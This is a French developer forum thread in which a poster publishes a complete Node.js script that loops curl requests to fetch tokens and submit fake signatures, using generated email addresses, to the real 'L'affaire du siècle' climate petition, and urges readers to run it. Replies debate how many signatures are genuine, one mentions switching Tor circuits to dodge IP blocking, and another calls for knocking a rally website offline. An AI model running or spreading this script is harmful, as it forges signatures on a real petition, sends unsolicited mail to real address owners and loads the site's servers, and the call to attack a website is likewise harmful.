IdentifiantMot de passe
Loading...
Mot de passe oublié ?Je m'inscris ! (gratuit)
Navigation

Inscrivez-vous gratuitement
pour pouvoir participer, suivre les réponses en temps réel, voter pour les messages, poser vos propres questions et recevoir la newsletter

La taverne du Club : Humour et divers Discussion :

[SECURITE] Pétition l'affaire du siècle

Vue hybride

Message précédent Message précédent   Message suivant Message suivant
  1. #1
    Membre confirmé

    Homme Profil pro
    Développeur Web
    Inscrit en
    Janvier 2014
    Messages
    153
    Détails du profil
    Informations personnelles :
    Sexe : Homme
    Localisation : France

    Informations professionnelles :
    Activité : Développeur Web

    Informations forums :
    Inscription : Janvier 2014
    Messages : 153
    Par défaut [SECURITE] Pétition l'affaire du siècle
    Bonjour la communauté,

    Je sais que ma démarche n'est pas courante mais j'estime qu'il est de notre devoir en tant que développeurs d'agir.

    Voici une pétition qui fait la une de la presse, soutenue par des personnalités. La démarche est noble mais le fond l'est beaucoup moins:

    - les emails ne sont pas validés
    - il n'y a aucune protection de type failToBan (anti-dos)

    Par conséquent, je viens de faire un script, qui en utilisant un générateur d'email, l'a signé plusieurs dizaine de milliers de fois.

    Ceci pose un problème grave, sur la base d'une pétition non sécurisée, on tente de forcer l'état, notre démocratie à agir.

    Aujourd'hui c'est l'environnement, que se passera-t-il si demain c'est une demande d'envois des immigrés ou des gays dans des camps de concentration?

    La cybersécurité est fondamentale dans le fonctionnement de notre société.
    Et il est de notre devoir de sécuriser les applis web.
    J'ai alerté le Monde sans succès, posté des messages sur Twitter sans réaction.

    Voici donc mon script, exécutez le, afin de révéler cette immense farce, si le compteur explose, les médias comprendront que quelque chose ne va pas:

    EDIT: pour l'executer: node <nom.js>

    Code : Sélectionner tout - Visualiser dans une fenêtre à part
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
    57
    58
    59
    60
    61
    62
    63
    64
    65
    66
    67
    68
    69
    70
    71
    72
    73
    74
    75
    76
    77
    78
    79
    80
    81
    82
    83
    84
    85
    86
    87
    88
    89
    90
    91
    92
    93
    94
    95
    96
    97
    98
    99
    100
    101
    102
    103
    104
    105
    106
    107
    108
    109
    110
    111
    112
    113
    114
    115
    116
    117
    118
    119
    120
    121
    122
    123
    124
    125
    126
    127
    128
    129
    130
    131
    132
    133
    134
    135
    136
    137
    138
    139
    140
    141
    142
    143
    144
    145
    146
    147
    148
    149
    150
    151
    152
    153
    154
    155
    156
    157
    158
    159
    160
    161
    162
    163
    164
    165
    166
    167
    168
    169
    170
    171
    172
    173
    174
    175
    176
    177
    178
    179
    180
    181
    182
    183
    184
    185
    186
    187
    188
    189
    190
    191
    192
    193
    194
    195
    196
    197
    198
    199
    200
    201
    202
    203
    204
    205
    206
    207
    208
    209
    210
    211
    212
    213
    214
    215
    216
    217
    218
    219
    220
    221
    222
    223
    224
    225
    226
    227
    228
    229
    230
    231
    232
    233
    234
    235
    236
    237
    238
    239
    240
    241
    242
    243
    244
    245
    246
    247
    248
    249
    250
    const { execSync } = require('child_process');
    
    const firstname = [
        'Emma',
        'Lola',
        'Chloe',
        'Ines',
        'Léa',
        'Manon',
        'Jade',
        'Louise',
        'Lena',
        'Lina',
        'Zoe',
        'Lilou',
        'Camille',
        'Sarah',
        'eva',
        'Alice',
        'Maelys',
        'Louna',
        'Romane',
        'Juliette',
        'Nathan',
        'Lucas',
        'Léo',
        'Gabriel',
        'Timeo',
        'Enzo',
        'Louis',
        'Raphael',
        'Arthur',
        'Hugo',
        'Jules',
        'Ethan',
        'Adam',
        'Nolan',
        'Thomas',
        'yves',
        'jacqueline',
        'valery',
        'rene',
        'clement',
        'didier',
        'gerard',
        'chantal',
        'jeanne',
        'genevieve',
        'robert',
        'rob',
        'jeanclaude',
        'petittout',
        'momo',
        'pierre',
        'marie',
        'nathalie',
        'henry',
        'Noah',
        'Theo',
        'Sacha',
        'Mael',
        'Mathis',
    ];
    
    const lastname = [
        'Martin',
        'Bernard',
        'Thomas',
        'Petit',
        'Robert',
        'Richard',
        'Durand',
        'Dubois',
        'Moreau',
        'Laurent',
        'Simon',
        'Michel',
        'Lefebvre',
        'Leroy',
        'Roux',
        'David',
        'Bertrand',
        'Morel',
        'Fournier',
        'Girard',
        'Bonnet',
        'Dupont',
        'Lambert',
        'Fontaine',
        'Rousseau',
        'Vincent',
        'Muller',
        'Lefevre',
        'Faure',
        'Andre',
        'Mercier',
        'Blanc',
        'Guerin',
        'Boyer',
        'Garnier',
        'Chevalier',
        'Francois',
        'Legrand',
        'Gauthier',
        'Garcia',
        'Perrin',
        'Robin',
        'Clement',
        'Morin',
        'Nicolas',
        'Henry',
        'Roussel',
        'Mathieu',
        'Gautier',
        'Masson',
        'Marchand',
        'Duval',
        'Denis',
        'Dumont',
        'Marie',
        'Lemaire',
        'Noel',
        'Meyer',
        'Dufour',
        'Meunier',
        'Brun',
        'Blanchard',
        'Giraud',
        'Joly',
        'Riviere',
        'Lucas',
        'Brunet',
        'Gaillard',
        'Barbier',
        'Arnaud',
        'Martinez',
        'Gerard',
        'Roche',
        'Renard',
        'Schmitt',
        'Roy',
        'Leroux',
        'Colin',
        'Vidal',
        'Caron',
        'Picard',
        'Roger',
        'Fabre',
        'Aubert',
        'Lemoine',
        'Renaud',
        'Dumas',
        'Lacroix',
        'Olivier',
        'Philippe',
        'Bourgeois',
        'Pierre',
        'Benoit',
        'Rey',
        'Leclerc',
        'Payet',
        'Rolland',
        'Leclercq',
        'Guillaume',
        'Lecomte',
        'Lopez',
        'Jean',
        'Dupuy',
        'Guillot',
        'Hubert',
        'Berger',
        'Carpentier',
        'Sanchez',
        'Dupuis',
        'Moulin',
        'Louis',
        'Deschamps',
        'Huet',
        'Vasseur',
        'Perez',
        'Boucher',
        'Fleury',
        'Royer',
        'Klein',
        'Jacquet',
        'Adam',
        'Paris',
        'Poirier',
        'Marty',
        'Aubry',
    ];
    
    const domain = ['gmail.com','yahoo.com','hotmail.com', 'hotmail.fr','msn.com','outlook.com','live.com','me.com','aol.com','icloud.com'];
    let i;
    for (i = 0; i < 1000000 ; i++) {
        let email = firstname[parseInt(((Math.random() * firstname.length) + 1)) - 1].toLowerCase() + '.' +
            lastname[parseInt(((Math.random() * lastname.length) + 1)) - 1].toLowerCase() +
            parseInt(((Math.random() * 30) + 1)) + '%40' +
            domain[parseInt(((Math.random() * domain.length) + 1)) - 1];
    
        let param = [
            " -XPOST",
            "https://laffairedusiecle.net/petition3.php",
            "-H",
            '"Content-Type: application/x-www-form-urlencoded"',
            "-H",
            '"Host: laffairedusiecle.net"',
            "-H",
            '"Origin: https://laffairedusiecle.net"',
            "-H",
            '"Referer: https://laffairedusiecle.net/"',
            "-H",
            '"User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/71.0.3578.98 Safari/537.36"',
            "-H",
            '"X-Requested-With: XMLHttpRequest"',
            "-H",
            '"cache-control: no-cache"',
            "-d",
            '"action=get&email='+email+'"',
            "2>/dev/null"
        ];
        const ls = execSync("curl " + param.join(' '));
        const token = JSON.parse(ls.toString()).token;
    
        param = [
            " -XPOST",
            "https://laffairedusiecle.net/petition3.php",
            "-H",
            '"Content-Type: application/x-www-form-urlencoded"',
            "-H",
            '"Host: laffairedusiecle.net"',
            "-H",
            '"Origin: https://laffairedusiecle.net"',
            "-H",
            '"Referer: https://laffairedusiecle.net/"',
            "-H",
            '"User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/71.0.3578.98 Safari/537.36"',
            "-H",
            '"X-Requested-With: XMLHttpRequest"',
            "-H",
            '"petition-token: ' + token +'"',
            "-H",
            '"cache-control: no-cache"',
            "-d",
            '"data%5Boptin%5D=Yes&data%5Butm_campaign%5D=&data%5Butm_medium%5D=&data%5Butm_source%5D=&data%5Butm_content%5D=&data%5Bfirst_name%5D=pawned&data%5Blast_name%5D=pawned&data%5Bemail%5D='+email+'&action=post"',
            "2>/dev/null"
        ];
        console.log(i + ' : ' + email + ' | ' + execSync("curl " + param.join(' ')).toString());
    }

  2. #2
    Expert confirmé
    Avatar de Jipété
    Profil pro
    Inscrit en
    Juillet 2006
    Messages
    11 132
    Détails du profil
    Informations personnelles :
    Localisation : France, Hérault (Languedoc Roussillon)

    Informations forums :
    Inscription : Juillet 2006
    Messages : 11 132
    Par défaut
    1) pourquoi as-tu posté dans la section Humour ?
    2) car je ne sais pas encore s'il faut en rire ou en pleurer.

    OK, c'est sûr qu'une appli aussi peu sécurisée c'est grave, mais ce qui se passe au niveau du climat est encore bien plus grave et là, en pointant du doigt qu'on peut trafiquer le compteur de signatures, c'est tout l'édifice de la pétition qui s'écroule…

    Admettons que les responsables s'en rendent compte et qu'ils annulent tout en demandant aux gens concernés et de bonne volonté de bien vouloir recommencer, et qu'on se retrouve avec juste 315 signatures au bout d'un mois, qu'est-ce qui va se dire en haut lieu ?
    "ok, c'est juste 315 clampins, donc on peut continuer à s'en balec du climat", et je ne suis pas sûr du tout que ça soit une bonne idée.

    Là, avec cette histoire, on est franchement dans la m…
    Tu parles d'un cadeau de Noël !

    HS :
    Citation Envoyé par setni Voir le message
    Voici donc mon script, exécutez le,
    Manque un trait d'union, là…

  3. #3
    Membre confirmé

    Homme Profil pro
    Développeur Web
    Inscrit en
    Janvier 2014
    Messages
    153
    Détails du profil
    Informations personnelles :
    Sexe : Homme
    Localisation : France

    Informations professionnelles :
    Activité : Développeur Web

    Informations forums :
    Inscription : Janvier 2014
    Messages : 153
    Par défaut
    Salut,

    1) pourquoi as-tu posté dans la section Humour ?
    Il y a marqué "divers" aussi

    OK, c'est sûr qu'une appli aussi peu sécurisée c'est grave, mais ce qui se passe au niveau du climat est encore bien plus grave et là, en pointant du doigt qu'on peut trafiquer le compteur de signatures, c'est tout l'édifice de la pétition qui s'écroule…
    C'est justement parce que c'est un sujet grave, dont j'adhere totalement au passage, qu'il faut que ce type de pétition soit indémontable.

    Surtout quand on voit la seule justification que j'ai reçue, qui me pose sérieusement des questions sur l'avenir de nos sociétés:
    https://twitter.com/CecileDuflot/sta...33667712016384

    Merci pour la correction du trait d'union

  4. #4
    Expert confirmé
    Avatar de Jipété
    Profil pro
    Inscrit en
    Juillet 2006
    Messages
    11 132
    Détails du profil
    Informations personnelles :
    Localisation : France, Hérault (Languedoc Roussillon)

    Informations forums :
    Inscription : Juillet 2006
    Messages : 11 132
    Par défaut
    Citation Envoyé par setni Voir le message
    Surtout quand on voit la seule justification que j'ai reçue, qui me pose sérieusement des questions sur l'avenir de nos sociétés:
    https://twitter.com/CecileDuflot/sta...33667712016384
    Bon, ça me rassure un peu.

    J'étais justement en train de penser ça, il y a 5 minutes :
    Suis en train de me souvenir que, l'ayant signée, j'ai reçu un courriel de remerciement en retour.
    Probable que des adresses bidon généreront des retours en erreur à l'expéditeur, qui pourra envisager de supprimer les adresses concernées ?


    Donc il y a probablement vraiment 1,6 million de signature valides, ouf !

  5. #5
    Membre confirmé

    Homme Profil pro
    Développeur Web
    Inscrit en
    Janvier 2014
    Messages
    153
    Détails du profil
    Informations personnelles :
    Sexe : Homme
    Localisation : France

    Informations professionnelles :
    Activité : Développeur Web

    Informations forums :
    Inscription : Janvier 2014
    Messages : 153
    Par défaut
    Donc il y a probablement vraiment 1,6 million de signature valides, ouf !
    Euh ...

    Dans le script que j'ai exécuté, combien d'adresses étaient valides?
    Combien de personne, n'ayant jamais été sur le site, ont reçues un email de remerciement?

  6. #6
    Membre émérite

    Homme Profil pro
    Retraité
    Inscrit en
    Juin 2012
    Messages
    1 035
    Détails du profil
    Informations personnelles :
    Sexe : Homme
    Localisation : France

    Informations professionnelles :
    Activité : Retraité
    Secteur : Biens de consommation

    Informations forums :
    Inscription : Juin 2012
    Messages : 1 035
    Par défaut
    Donc il y a probablement vraiment 1,6 million de signature valides, ouf !
    On peut en douter, si le site était au moins un tant soit peu sérieux il ferait au moins 2 choses:

    1: Vérifier que le mail indiqué existe ( Ce qui limite un peu mais n’empêche pas les usurpations de mails authentiques ).
    2: Une mémorisation des IP's ayant déjà voté pour évite à priori une partie des doublons.

    De plus pour une pétition qui concerne spécifiquement la France il conviendrait de limiter la possibilité du vote aux seules IP' de FAI's Français, en dehors d'éviter les trolls nichés aux 4 coins de la planète ça permettrait aussi de limiter l'usage des VPN's, en l'état actuel des choses il n'y a sans doute pas grand chose à modifier dans les script pour passer par tor browser et changer de de circuit à chaque envoi pour contourner un éventuel blocage des doublons sur IP's.

    Et un truc que je ne m'explique guère c'est ça:

    https://mobile.twitter.com/Setni7?p=s
    Images attachées Images attachées  

  7. #7
    Modérateur
    Avatar de escartefigue
    Homme Profil pro
    bourreau
    Inscrit en
    Mars 2010
    Messages
    10 604
    Détails du profil
    Informations personnelles :
    Sexe : Homme
    Localisation : France, Loir et Cher (Centre)

    Informations professionnelles :
    Activité : bourreau
    Secteur : Finance

    Informations forums :
    Inscription : Mars 2010
    Messages : 10 604
    Billets dans le blog
    10
    Par défaut
    Citation Envoyé par setni Voir le message
    C'est justement parce que c'est un sujet grave, dont j'adhere totalement au passage [. . .]
    Merci pour la correction du trait d'union
    Ce n'était pas la pire

    Citation Envoyé par setni Voir le message
    Combien de personne, n'ayant jamais été sur le site, ont reçues un email de remerciement?
    Pas mal non plus

  8. #8
    Expert confirmé
    Avatar de Jipété
    Profil pro
    Inscrit en
    Juillet 2006
    Messages
    11 132
    Détails du profil
    Informations personnelles :
    Localisation : France, Hérault (Languedoc Roussillon)

    Informations forums :
    Inscription : Juillet 2006
    Messages : 11 132
    Par défaut
    Et pendant qu'on fait ce qu'on peut pour éveiller les consciences (si tant est que ce soit possible…), qu'est-ce que je découvre en 3e de couv' de mon programme téloche ? Une pleine page pour le Dakar 2019, qui se déroulera au Pérou.
    Voilà un site à faire tomber, au nom de la légitime défense, pour ceux qui savent faire (moi pas).
    Parce que si c'est pas du foutage de gueule, ça, 8 jours à peine après la COP24 ! Son cadavre est encore tiède…
    Car, quand même, entendu parler récemment d'un grand prix de F1 en Arabie Saoudite, mais des F1 électriques ! Alors oui, on peut dire un tas de choses sur l'A.S., mais au moins pour ça, chapeau !

    Tout va bien les gars, le bateau coule et on agrandit le trou, pendant que la maison brûle et que certains s'amusent à y balancer de l'huile.

    Si vous saviez comme j'en ai marre…

  9. #9
    Invité
    Invité(e)
    Par défaut
    Les courses de voitures électriques seront pour les pays ou il y a du soleil . Regardez ou je me tourne , tiens le qatar, Arabie Saoudite, Oman , Koweit . Comme par hasard les pays ou il y a du pétrole !

    C'est pas pour faire planter l’Europe, juste pour rappeler qu'entre 2012 et 2014 une coalition de pays du moyen orient a fait couler un projet européen de centrale solaire ! Résultat des entreprises allemandes, françaises et ibériques ont perdus des contrats pour 400 milliards d'euros sur 20 ans !

Discussions similaires

  1. [Securité] Différence entre Impersonation et Authentication?
    Par Laurent Dardenne dans le forum Windows
    Réponses: 6
    Dernier message: 13/08/2009, 11h32
  2. [JSP][Servlet][Securité] Configuration du login
    Par jaoued dans le forum Servlets/JSP
    Réponses: 6
    Dernier message: 15/07/2004, 14h30
  3. pbme de securité !
    Par NaDiA_SoFt dans le forum MS SQL Server
    Réponses: 2
    Dernier message: 03/07/2004, 16h06
  4. Securité mysql phpmyadmin ???
    Par xophe2 dans le forum Apache
    Réponses: 6
    Dernier message: 24/06/2004, 11h34
  5. Securite
    Par K-ZimiR dans le forum Modules
    Réponses: 2
    Dernier message: 26/05/2004, 16h43

Partager

Partager
  • Envoyer la discussion sur Viadeo
  • Envoyer la discussion sur Twitter
  • Envoyer la discussion sur Google
  • Envoyer la discussion sur Facebook
  • Envoyer la discussion sur Digg
  • Envoyer la discussion sur Delicious
  • Envoyer la discussion sur MySpace
  • Envoyer la discussion sur Yahoo